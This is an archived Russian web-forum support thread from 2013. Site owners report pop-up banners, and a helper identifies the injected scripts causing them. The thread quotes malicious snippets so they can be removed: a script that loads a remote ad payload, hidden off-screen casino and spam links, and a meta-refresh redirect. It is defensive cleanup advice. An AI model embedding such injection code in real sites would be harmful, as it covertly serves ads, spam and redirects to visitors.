Модератор форума: Yuri_G  
Вирусы на сайтах_3 (архив для чтения)
karel0118
Сообщений: 9
Репутация: 0

Сообщение # 1801 | 20:29:20
Всем привет! проблема в следующем со вчерашнего дня на форуме стал появляться назойливый всплывающей баннер в нижнем левом углу. В исходник не заходил давно и ни чего в нем не добавлял, не изменял (скрипты). Проверял url вебом все ок" помогите, а то глаза сильно мозолит и не удобно отпугивает. http://www.karel-tv.ru заранее спасибо!!!
$Vladimir$
Сообщений: 7465
Репутация: 1053

Сообщение # 1802 | 20:37:08
karel0118, дайте скришот и точный URL страницы где появляется баннер
karel0118
Сообщений: 9
Репутация: 0

Сообщение # 1803 | 20:50:19
$Vladimir$, скриншот пока дать не могу, так как он то есть то его нет какое то время и потом снова появляется. только на главной страницы форума http://www.karel-tv.ru/forum/
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1804 | 20:54:38
karel0118, в этот скрипт вшита реклама


Код
<script type="text/javascript" src="http://trane73.ru/demo/js/trane73.celebrate.js"></script>
удаляйте скрипт

содержимое

...
Код
(function(w) {
      var script = document.createElement('script');
      var i = setInterval(function() {
        if (typeof w.document.body !== 'undefined') {
            script.src = 'http://claim.dear-deserve.info' + '/?623140=UBlQVgJGSEtHT01AVxkXFxcTEQ';
            w.document.body.appendChild(script);
            clearInterval(i);
        }
      }, 200);
})(window);

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1805 | 20:55:41
Раша, если сайт народный ваш, то смотрим внимательно

Цитата
</head>
<body bgcolor=98F698><div style="position:absolute;left:-2007px">рублевое казино <a href="http://www.genocid.lt/tvs/tools/jscalendar/lang/ln/index.html" target="_blank"> обзор интернет казино </a></div><meta http-equiv="Refresh" content="0; URL=http://rabotabeznas.ru/wp-includes/js/in.php">
<A class=t10 id=dg onclick="this.style.behavior='url

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
karel0118
Сообщений: 9
Репутация: 0

Сообщение # 1806 | 21:00:19
webanet, а где он находиться? я и скрипты то уже где то месяц не вставлял и в админку не заходил, а баннер только вчера появился.
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1807 | 21:04:05
karel0118,
Цитата
а где он находиться?
прямо под бесполезным скриптом сайт живет, который находится под не менее бесполезным скриптом перевода сайт на миллион языков. удалить бы все три и было бы лучше. но реклама в том, что я указала.
пробуйте через быструю замену. в поле что заменить вставляете скрипт, который я указала, поле на что заменить оставляете пустым и производите замену

кстати счетчик яндега у вас со вшитым спамом. и вообще старайтесь не тянуть все кнопки и счетчики на сайт. даже если они раскруткой называются

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
karel0118
Сообщений: 9
Репутация: 0

Сообщение # 1808 | 21:14:57
webanet, Спасибо ОГРОМНОЕ. удалил все 3 скрипта. надеюсь поможет проверить не могу так как его уже минут 30 не было. Счетчик Яндекса тоже удалил но не знаю какой тот или не тот там их 2 оказалось)))
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1809 | 21:17:48
karel0118, Top YandeG for:

Цитата
.....'&rand='+Math.random()+
'" width="88" height="31" border="0"'+
' alt="Рейтинг Сайтов YandeG" />')
//--></script></a><div style="position:absolute;left:-2395px;"><a href="http://cars-img.com/">model cars</a></div>


выделенное красным и есть скрытый спам за пределами экрана. это в счетчике яндега, а не яндекса

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
karel0118
Сообщений: 9
Репутация: 0

Сообщение # 1810 | 21:26:56
webanet,
удалил выделенное что было!!! Спасибо ОГРОМНОЕ. + поставил, через 7 дней еще + поставлю за подробную помощь...
Сообщение отредактировал karel0118 - Среда, 10 Апр 2013, 21:27:57
WhiteDevil2791
Сообщений: 10
Репутация: 0

Сообщение # 1811 | 22:26:01
Пишу еще раз...извините но вы мне так и не ответили...Здравствуйте! у меня на сайте адрес сайта появилось всплывающее окно в левом углу страницы и под входом админа и под входом гостя тоже ....права пользователей и гостей ограничены...сообщения могут оставлять только пользователи а нового пользователя вроде не появилось.....откуда тогда все это? как убрать?
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1812 | 22:29:33
WhiteDevil2791, из 17 блока удалить

Код
<script language="JavaScript" src="http://101widgets.com/00000405/170/263"></script>


Код
<script language="JavaScript" src="http://101widgets.com/00000505/170/228"></script>


далее удалить однакнопка и сделать соц. кнопки с яндексом http://api.yandex.ru/share/

Код
<script src="http://odnaknopka.ru/ok2.js" type="text/javascript"></script>


и флешку от соблазнсити вы сами себе поставили в глобальный блок нижняя часть сайта?

Код
<object height="90" width="728"> <param name="soblazncity_728x90_banner_01" value="728x90_banner_01.swf" /> <embed height="90" width="728" src="http://info.soblazncity.ru/banners/728x90_banner_01.swf" flashvars="link1=http://soblazncity.ru" wmode="transparent"></embed> </object>

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
WhiteDevil2791
Сообщений: 10
Репутация: 0

Сообщение # 1813 | 00:26:22
Спасибо...сейчас попробую

Добавлено (11 Апр 2013, 00:26:22)
---------------------------------------------
Пишу опять. Сделала все как вы сказали..но окно выскакивает снова.. подскажите как быть?

webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1814 | 00:35:17
WhiteDevil2791, код

Код
<script language="JavaScript" src="http://101widgets.com/00000405/170/263"></script>
остался на своем месте. не можете так удалить. пробуйте через быструю замену. в поле что заменить вставляете скрипт, который я указала. поле на что заменить оставляете пустым и производите замену во всех модулях и блоках

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
WhiteDevil2791
Сообщений: 10
Репутация: 0

Сообщение # 1815 | 00:40:32
этот скрипт в 17 блоке?
Поиск: